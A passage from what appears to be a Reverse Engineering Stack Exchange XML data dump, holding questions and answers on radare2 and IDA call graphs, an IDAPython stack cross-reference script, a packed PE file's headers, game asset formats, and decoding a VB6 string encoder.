&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /bin/ls&#xA;[0x004049a0]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x004049a0]&amp;gt; agCd &amp;gt; output.dot&#xA;[0x004049a0]&amp;gt; !!dot -Tpng -o callgraph.png output.dot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To read more about radare2 it is recommended to read &lt;a href=&quot;https://radare.gitbooks.io/radare2book&quot; rel=&quot;noreferrer&quot;&gt;radare2 book&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Alternatives&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/onlyuser/gen-callgraph&quot; rel=&quot;noreferrer&quot;&gt;gen-callgraph&lt;/a&gt;&lt;/strong&gt; - gen-callgraph is a script to generate call graph from elf binary&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;noreferrer&quot;&gt;IDA Pro&lt;/a&gt;&lt;/strong&gt; - generate GDL (Graph Description File) call graph using CTRL+F12, save it and then convert it to &lt;em&gt;dot&lt;/em&gt; file with one of the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://search.cpan.org/~tels/Graph-Easy/bin/graph-easy&quot; rel=&quot;noreferrer&quot;&gt;graph-easy&lt;/a&gt; - Convert between graph formats&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This &lt;a href=&quot;https://wiki.multimedia.cx/index.php/IDA_Pro#Converting_gdl_flow_graphs_to_dot_files&quot; rel=&quot;noreferrer&quot;&gt;perl script&lt;/a&gt; from Multimedia Wiki&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;noreferrer&quot;&gt;free version&lt;/a&gt; of IDA is also capable of generate GDL of call graph but it is only available as exe, use wine on Linux to run it&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="23306" LastEditDate="2018-09-24T08:39:05.707" LastActivityDate="2018-09-24T08:39:05.707" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16083" PostTypeId="1" CreationDate="2017-08-13T14:13:57.120" Score="2" ViewCount="1626" Body="&lt;p&gt;I have added the lines below to IDA 6.95\cfg\gdb_arch.cfg to try to get QEMU Tricore debugging in IDA Pro, using an ARM tutorial as the basis (page 2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_qemu.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/debugging_qemu.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a Tricore disassembly loaded, the debugger menu is not shown. If I have an ARM disassembly loaded, the debugger menu is shown and I can work with the options and start QEMU. The failure point is &quot;cpu tricore&quot; since if I change it to &quot;cpu arm&quot; and load an arm disassembly, the debugger menu appears and through the debugger options I can see my new entry. I just cannot get the menu to appear when a Tricore disassembly is loaded. I have tried cpu name as TRICORE and other variants including the actual CPU type, but the IDA Pro equivalent to &quot;arm&quot; is &quot;tricore&quot; as a CPU type. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.TRICORE_test&#xA;name       QEMU: TRICORE&#xA;cpu        tricore&#xA;area       DATA RAM     0x80000000:0xDFFFFFFF&#xA;area       IO   SYSREGS 0xF0000000:0xFFFFFFFF&#xA;initial_sp 0x08000000&#xA;&#xA;cmdline    &quot;$(QEMUPATH)/qemu-system-tricore&quot; $(QEMUFLAGS) -M tricore_testboard -kernel &quot;%e&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2020-04-26T16:56:51.323" Title="IDA Pro GDB QEMU Tricore setup" Tags="|ida|gdb|qemu|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16084" PostTypeId="1" CreationDate="2017-08-13T16:06:37.233" Score="1" ViewCount="530" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This is crossposted from reg. stack overflow. I was referred here.&#xA;  This will have more updates, however.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First, full disclosure: I'm very new to coding and very new to file dissecting, but its something I anticipate studying in school very soon, so please pardon my ignorance in future interactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a project I've decided to dissect the files of a mobile app I greatly enjoy. This app is &lt;strong&gt;Futurama: Worlds of Tomorrow&lt;/strong&gt;. I'm a big fan of the cartoon, even spent money on the stuff, so I figured it was natural for me to pick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extracting the .apk file was easy, I found some of the assets they use in the game, like the music, the soundbytes, and some .pngs. All simple stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are two files I'm absolutely baffled by: files with an .astc.czz extension and .lta files, the developers informed me that those are animation files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow me to go into what I know and what I don't know:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Filename.astc.czz&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Example file &lt;a href=&quot;https://www.dropbox.com/s/vuj392gfurvil00/BR0001-dialogue7-000%402x.astc.ccz?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA;I recognize .astc as a compression file and was informed that .astc files are common for mobile games. Fair enough, but the real extension is .czz, the &quot;real&quot; extension of the file leads me to dead end. I've found the &lt;strong&gt;ASTC Evaluation Codec&#xA;by ARM-Software&lt;/strong&gt; on github so I tried that. I changed the extension to .astc and then tried keeping .czz but the codec gives me an error every time. This is where I show my ignorance, I didn't know the right way to do this so I'm showing you every combination of what I tried. I replaced my name with &lt;strong&gt;user&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\user\Downloads\astc-encoder-master\Binary\Win32&#xA;λ astcenc -d C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.astc C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.tga&#xA;File C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.astc not recognized&#xA;&#xA;C:\Users\user\Downloads\astc-encoder-master\Binary\Win32&#xA;λ astcenc -d AC0001-dialogue1-003@2x.astc AC0001-dialogue1-003@2x.tga&#xA;File AC0001-dialogue1-003@2x.astc not recognized&#xA;&#xA;C:\Users\user\Downloads\astc-encoder-master\Binary\Win32&#xA;λ astcenc -d C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.astc.czz C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.tga&#xA;Failed to open file C:\Users\user\Downloads\astc-encoder-master\Binary\Win32\AC0001-dialogue1-003@2x.astc.czz&#xA;&#xA;C:\Users\user\Downloads\astc-encoder-master\Binary\Win32&#xA;λ astcenc -d AC0001-dialogue1-003@2x.astc.czz AC0001-dialogue1-003@2x.tga&#xA;Failed to open file AC0001-dialogue1-003@2x.astc.czz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No success there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I learned that .CZZ files are apparently associated with &lt;strong&gt;visECAD Viewer &lt;/strong&gt; and I downloaded that and the .astc.czz files became associated with the program. I tried opening them but visECAD says it cant open them because they are &quot;outdated.&quot; So that's another dead end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was told to use Unix's file command too, and all I got was &quot;data&quot;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~/Downloads$ file BR1.astc.ccz -b data ubuntu@ubuntu:~/Downloads$ file BR1.astc.ccz BR1.astc.ccz: data ubuntu@ubuntu:~/Downloads$ file BR1.astc.ccz -i -b application/octet-stream; charset=binary ubuntu@ubuntu:~/Downloads$ file BR1.astc.ccz -z BR1.astc.ccz: data ubuntu@ubuntu:~/Downloads$ file -z BR1.astc.ccz BR1.astc.ccz: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right, so that's all I know. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Filename.lta&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Example file &lt;a href=&quot;https://www.dropbox.com/s/tficytd7avy4fpq/BR0001-dialogue3.lta?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA;Out of curiosity I've actually emailed the developers about this file (and the astc ones too) and they said those are the animation files of the game. They couldn't send me a viewer, which is perfectly fine, but I don't even know what .lta could be. I think it has something to do with Maya, but that's all I got. Any insight would be appreciated, the animations are great and I would love to see them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For full disclosure here are snippets of what the developers sent me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Those strange file types are actually compressed files (like&#xA;  &quot;.astc.ccz&quot;). Different devices use different compression methods, so&#xA;  we support many types to maintain low storage and memory usage. Some&#xA;  devices don't use compression and just use .png versions of the same&#xA;  file names. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The .lta files are the game's animations. I wish I could help you out&#xA;  with viewing them, but there's no way for me to send you a viewer. :(&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well that's all folks, sorry it was so long, and thank you so much in advance. I'm grateful already!&lt;/p&gt;&#xA;" OwnerUserId="21226" LastActivityDate="2017-08-14T07:27:48.647" Title="How do I decompress a .astc file with an additional .ccz extension? How do I view .lta files?" Tags="|android|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16085" PostTypeId="2" ParentId="16084" CreationDate="2017-08-14T07:27:48.647" Score="1" Body="&lt;p&gt;since these formats seem to be custom to the game, I suspect there is no other way than disassembling/decompiling the game code to see how they're processed. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-14T07:27:48.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16086" PostTypeId="2" ParentId="16055" CreationDate="2017-08-14T12:27:16.590" Score="6" Body="&lt;p&gt;&lt;em&gt;TL;DR: There's no simple API to achieve this, code is at the end of the answer or &lt;a href=&quot;https://gist.github.com/nirizr/fe0ce9948b3db05555da42bbfe0e5a1e&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there is no easy way to get the references to stack structure. It seems like calling &lt;code&gt;idautils.XrefsTo(sid)&lt;/code&gt; where &lt;code&gt;sid&lt;/code&gt; is the frame id (retrieved using &lt;code&gt;idc.GetFrame&lt;/code&gt;) should work, however I couldn't get it to yield any result in my attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, however, you could walk over the function's instructions and calculate the offsets into the stack manually whenever a stack reference operand is encountered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a &lt;a href=&quot;https://gist.github.com/nirizr/fe0ce9948b3db05555da42bbfe0e5a1e&quot; rel=&quot;nofollow noreferrer&quot;&gt;gist snippet&lt;/a&gt; to show just that, and although I think it's quite self-explanatory I'll go over it briefly here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we'll need a mapping of stack offsets to arguments, this is taken care of by the &lt;code&gt;find_stack_members&lt;/code&gt; function, which uses the &lt;code&gt;idc.GetFrame&lt;/code&gt; API function mentioned above to get the structure ID for the stack of a specific function. Then, it uses &lt;code&gt;idautils.StructMembers&lt;/code&gt; API to iterate over the stack variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting piece of logic in the &lt;code&gt;find_stack_members&lt;/code&gt; function is that it uses the &lt;code&gt;&amp;lt;space&amp;gt;r&lt;/code&gt; member name as the base of the stack (where the stack is once the function is entered), this is used later in &lt;code&gt;find_stack_xrefs&lt;/code&gt; to calculate the stack offset of a variable based on the current stack delta and the operand immediate value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;find_stack_xrefs&lt;/code&gt; function iterates over the instructions in the given function, and skips any instruction but those with a operand defined to reference the stack (note that arguments that reference the stack but aren't defined as such by either IDA's auto-analysis or manually will not be treated and hence will not count as a cross-reference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a stack offset operand exists in the instrcution, the &lt;code&gt;find_stack_xrefs&lt;/code&gt; function will proceed to calculate it's offset using the stack's base offset (previously retrieved by &lt;code&gt;find_stack_members&lt;/code&gt;), the current stack delta (calculated by IDA and available using the API &lt;code&gt;idc.GetSpd&lt;/code&gt;) and the immediate taken from the Operand structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For convenience, I'm also including the code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc, idaapi, idautils, ida_xref&#xA;&#xA;def find_stack_members(func_ea):&#xA;    members = {}&#xA;    base = None&#xA;    frame = idc.GetFrame(func_ea)&#xA;    for frame_member in idautils.StructMembers(frame):&#xA;        member_offset, member_name, _ = frame_member&#xA;        members[member_offset] = member_name&#xA;        if member_name == ' r':&#xA;            base = member_offset&#xA;    if not base:&#xA;        raise ValueError(&quot;Failed identifying the stack's base address using the return address hidden stack member&quot;)&#xA;    return members, base&#xA;&#xA;def find_stack_xrefs(func_offset):&#xA;    func_ea = ida_funcs.get_func(func_offset).startEA&#xA;    members, stack_base = find_stack_members(func_ea)&#xA;    for func_item in FuncItems(func_ea):&#xA;        flags = idc.GetFlags(ea)&#xA;        stkvar = 0 if idc.isStkvar0(flags) else 1 if idc.isStkvar1(flags) else None&#xA;        if not stkvar:&#xA;            continue&#xA;        ida_ua.decode_insn(func_item)&#xA;        op = ida_ua.cmd.Operands[stkvar]&#xA;        stack_offset = op.addr + idc.GetSpd(func_item) + stack_base&#xA;        member = members[stack_offset]&#xA;        print(&quot;At offset {:x} stack member {} is referenced by operand number {}&quot;.format(func_item, member, stkvar))&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    find_stack_xrefs(idc.ScreenEA())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-10-17T11:00:08.827" LastActivityDate="2017-10-17T11:00:08.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16087" PostTypeId="1" CreationDate="2017-08-14T14:14:34.847" Score="2" ViewCount="1683" Body="&lt;p&gt;I'm new to reverse engineering, so I don't know if my question will be easy or not.&#xA;Right now I have an exe file, but it seems packed. In the hex Dump I do have the followings :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000003d0: 0055 5058 3000 0000 0000 e028 0000 1000  .UPX0......(....&#xA;000003e0: 0000 0000 0000 0200 0000 0000 0000 0000  ................&#xA;000003f0: 0000 0000 0080 0000 e055 5058 3100 0000  .........UPX1...&#xA;00000400: 0000 4014 0000 f028 0000 3814 0000 0200  ..@....(..8.....&#xA;00000410: 0000 0000 0000 0000 0000 0000 0040 0000  .............@..&#xA;00000420: e02e 7273 7263 0000 0000 a007 0000 303d  ..rsrc........0=&#xA;00000430: 0000 9207 0000 3a14 0000 0000 0000 0000  ......:.........&#xA;00000440: 0000 0000 0040 0000 c033 2e39 3300 5550  .....@...3.93.UP&#xA;00000450: 5821 0d09 0201 4482 f819 2707 6e6b 290d  X!....D...'.nk).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess that my file is packed using UPX.&#xA;But I'm stuck with the rest of the file because I do have an altered header it seems :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............&#xA;00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......&#xA;00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................&#xA;00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th&#xA;00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno&#xA;00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS&#xA;00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......&#xA;00000080: 5045 0000 4c01 0300 a505 f358 0000 0000  PE..L......X....&#xA;[...]&#xA;00000250: 4e71 e81b 0068 e81b 004d 5a90 0003 0000  Nq...h...MZ.....&#xA;00000260: 0004 0000 00ff ff00 00b8 0000 0000 0000  ................&#xA;00000270: 0040 0000 0000 0000 0000 0000 0000 0000  .@..............&#xA;00000280: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000290: 0000 0000 0080 0000 000e 1fba 0e00 b409  ................&#xA;000002a0: cd21 b801 4ccd 2154 6869 7320 7072 6f67  .!..L.!This prog&#xA;000002b0: 7261 6d20 6361 6e6e 6f74 2062 6520 7275  ram cannot be ru&#xA;000002c0: 6e20 696e 2044 4f53 206d 6f64 652e 0d0d  n in DOS mode...&#xA;000002d0: 0a24 0000 0000 0000 0050 4500 004c 0103  .$.......PE..L..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using objdump, I got the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;architecture: i386, flags 0x0000012f:&#xA;HAS_RELOC, EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED&#xA;start address 0x0078353e&#xA;&#xA;Characteristics 0x102&#xA;    executable&#xA;    32 bit words&#xA;&#xA;Time/Date       XXXXXXXXXXXXXXXXXXXXX&#xA;Magic           010b    (PE32)&#xA;MajorLinkerVersion  11&#xA;MinorLinkerVersion  0&#xA;SizeOfCode      00381600&#xA;SizeOfInitializedData   00000800&#xA;SizeOfUninitializedData 00000000&#xA;AddressOfEntryPoint 0038353e&#xA;BaseOfCode      00002000&#xA;BaseOfData      00384000&#xA;ImageBase       00400000&#xA;SectionAlignment    00002000&#xA;FileAlignment       00000200&#xA;MajorOSystemVersion 4&#xA;MinorOSystemVersion 0&#xA;MajorImageVersion   0&#xA;MinorImageVersion   0&#xA;MajorSubsystemVersion   4&#xA;MinorSubsystemVersion   0&#xA;Win32Version        00000000&#xA;SizeOfImage     00388000&#xA;SizeOfHeaders       00000200&#xA;CheckSum        00000000&#xA;Subsystem       00000002    (Windows GUI)&#xA;DllCharacteristics  00008540&#xA;SizeOfStackReserve  00100000&#xA;SizeOfStackCommit   00001000&#xA;SizeOfHeapReserve   00100000&#xA;SizeOfHeapCommit    00001000&#xA;LoaderFlags     00000000&#xA;NumberOfRvaAndSizes 00000010&#xA;&#xA;The Data Directory&#xA;Entry 0 00000000 00000000 Export Directory [.edata (or where ever we found it)]&#xA;Entry 1 003834e8 00000053 Import Directory [parts of .idata]&#xA;Entry 2 00384000 00000598 Resource Directory [.rsrc]&#xA;Entry 3 00000000 00000000 Exception Directory [.pdata]&#xA;Entry 4 00000000 00000000 Security Directory&#xA;Entry 5 00386000 0000000c Base Relocation Directory [.reloc]&#xA;Entry 6 003833b0 0000001c Debug Directory&#xA;Entry 7 00000000 00000000 Description Directory&#xA;Entry 8 00000000 00000000 Special Directory&#xA;Entry 9 00000000 00000000 Thread Storage Directory [.tls]&#xA;Entry a 00000000 00000000 Load Configuration Directory&#xA;Entry b 00000000 00000000 Bound Import Directory&#xA;Entry c 00002000 00000008 Import Address Table Directory&#xA;Entry d 00000000 00000000 Delay Import Directory&#xA;Entry e 00002008 00000048 CLR Runtime Header&#xA;Entry f 00000000 00000000 Reserved&#xA;&#xA;There is an import table in .text at 0x7834e8&#xA;&#xA;The Import Tables (interpreted .text section contents)&#xA; vma:            Hint    Time      Forward  DLL       First&#xA;                 Table   Stamp     Chain    Name      Thunk&#xA;&#xA;&#xA;PE File Base Relocations (interpreted .reloc section contents)&#xA;&#xA;There is a debug directory in .text at 0x7833b0&#xA;&#xA;Type                Size     Rva      Offset&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;  0 .text         00381544  00402000  00402000  00000200  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;  1 .rsrc         00000598  00784000  00784000  00381800  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;  2 .reloc        0000000c  00786000  00786000  00381e00  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is this exe file a false one (hidden payload i.e.) or is it an obfuscated one ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On virustotal, the actual file got a 10% detection rate. &lt;a href=&quot;https://www.virustotal.com/en/file/e49be065137b8bd199848e334c3a4c2399bed97e71dd4f10e7d4a7f39e1c9e61/analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virustotal.com/en/file/e49be065137b8bd199848e334c3a4c2399bed97e71dd4f10e7d4a7f39e1c9e61/analysis/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the md5 if you need :  48b0bd483d80617d6f4b33731811d248&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Found out how this malware landed here, it was an attempts to download agony rootkit using a malicious thread spawned into lsass.exe. The initial attack vector was using Eternal Blue.&#xA;The file is corrupted because of the AV that stopped the download.&lt;/p&gt;&#xA;" OwnerUserId="21238" LastEditorUserId="21238" LastEditDate="2017-09-21T12:04:20.320" LastActivityDate="2017-10-11T13:01:10.360" Title="Packed PE file and weird Header" Tags="|windows|malware|pe|unpacking|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16089" PostTypeId="1" CreationDate="2017-08-15T09:18:06.767" Score="5" ViewCount="1820" Body="&lt;p&gt;I am using radare2, I have disassembled the function: &lt;code&gt;sym.loop&lt;/code&gt;, it contains a &lt;code&gt;switch&lt;/code&gt; witch has 4 &lt;code&gt;cases&lt;/code&gt; that calls different functions. After any of the function call, the program exits the &lt;code&gt;loop&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my problem: after the first &lt;code&gt;exit&lt;/code&gt; displayed in radare the disassembled code stops. I am not able to see the rest of the function's code, although there are jump indicating there is more content after the exit function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to press or do anything to display the rest or is it a bug? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code of the loop function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void loop(int a) {&#xA;    type[0] = a;&#xA;    while (true) {&#xA;        switch (type[0]) {&#xA;        case 1:&#xA;            function1(arg);&#xA;            break;&#xA;        case 2:&#xA;            function2(arg);&#xA;            break;&#xA;        case 3:&#xA;            function3(arg);&#xA;            break;&#xA;        default:&#xA;            printf(&quot;Command unrecognized.\n&quot;);&#xA;        case 4:&#xA;            function4();&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: if there is any bug in the code, I may have caused trying to clean the code from debug messages or whatever... But the idea is that the main code has no bugs, it is just the disassembler that doesn't print the entire function.&#xA;and the disassembly code stops after the case1's break (exit function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(UPDATE:)&#xA;Here is an example of the error I am talking about (not the above code, but the same error): &#xA;&lt;a href=&quot;https://i.stack.imgur.com/fPkHR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPkHR.png&quot; alt=&quot;Function is not displaying the entire code.No function return.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No return value is displayed.&lt;/p&gt;&#xA;" OwnerUserId="19852" LastEditorUserId="19852" LastEditDate="2017-09-19T09:28:16.900" LastActivityDate="2018-10-14T03:00:28.243" Title="Radare2 doesn't display the whole function" Tags="|disassembly|radare2|functions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16091" PostTypeId="2" ParentId="1999" CreationDate="2017-08-15T12:06:56.643" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/fireeye/flare-bytecode_graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flare-bytecode graph&lt;/a&gt; project can help with graphical bytecode CFG representation. Taken from the project &lt;code&gt;README&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&lt;br/&gt;&#xA;  It is also possible to create control flow diagrams using GraphViz. The disassembly within the graph can include the output from a simple peephole decompiler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bytecode_graph&#xA;def Sample():&#xA;    i = 2 + 2&#xA;    if i == 4:&#xA;        print &quot;2 + 2 = %d&quot; % i&#xA;    else:&#xA;        print &quot;oops&quot;&#xA;&#xA;bcg = bytecode_graph.BytecodeGraph(Sample.__code__)&#xA;graph = bytecode_graph.Render(bcg, Sample.__code__).dot()&#xA;graph.write_png('example_graph.png')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TuxNr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TuxNr.png&quot; alt=&quot;program CFG&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21243" LastEditorUserId="53" LastEditDate="2017-08-16T09:29:29.067" LastActivityDate="2017-08-16T09:29:29.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16092" PostTypeId="1" AcceptedAnswerId="16093" CreationDate="2017-08-15T16:57:50.783" Score="2" ViewCount="563" Body="&lt;p&gt;A friends company uses an old VB6 application to generate encoded strings to then use in their also old and out of date database system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have the application running in standalone mode so I can test inputs and have it generate an encoded output, but they wanted to migrate it into a web based system to build the request string to prevent someone from having to access the old desktop locally.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input: AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz&#xA;Output: ~^}]|\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE&#xA;&#xA;Input: 1234567890&#xA;Output: 4=&amp;lt;3210765&#xA;&#xA;Input: 1&#xA;Output: 5&#xA;&#xA;Input: 12&#xA;Output: 65&#xA;&#xA;Input: 123&#xA;Output: 765&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on where I can start to figure this out? It looks like it does a single character encode and then reverses the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Gets a little more complex it seems.... If the input cross into a new column it appears to subtract 4?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input: ?&#xA;Output: ;&#xA;&#xA;Input: 789:;&amp;lt;=&amp;gt;?&#xA;Output: ;:98?&amp;gt;=&amp;lt;3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like maybe the application is using multiple definitions? Or doing some type of math range to determine to add or subtract?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wJJPU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJJPU.gif&quot; alt=&quot;ASCII Table&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiled Code that makes very little sense to me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Sub CommandButton_Click() '408C90&#xA;  Dim var_44 As TextBox&#xA;  Dim var_48 As TextBox&#xA;  loc_00408CB5: var_8 = &amp;amp;H4010C0&#xA;  loc_00408D16: Set var_44 = Me&#xA;  loc_00408D25: var_28 = password.Text&#xA;  loc_00408D6D: Set var_44 = Len(var_28)&#xA;  loc_00408D7C: var_28 = password.Text&#xA;  loc_00408DBE: &#xA;  loc_00408DC5: If Len(var_28) &amp;lt; 0 Then GoTo loc_00408EDA&#xA;  loc_00408DE5: var_54 = Me&#xA;  loc_00408DF2: var_64 = 1&#xA;  loc_00408DF9: var_6C = 2&#xA;  loc_00408E00: var_44 = 0&#xA;  loc_00408E07: var_5C = 9&#xA;  loc_00408E1C: var_28 = CStr(Mid$(vbObject, Len(var_28), 1))&#xA;  loc_00408E34: call __vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h)&#xA;  loc_00408E70: var_84 = var_24&#xA;  loc_00408E76: var_8C = 8&#xA;  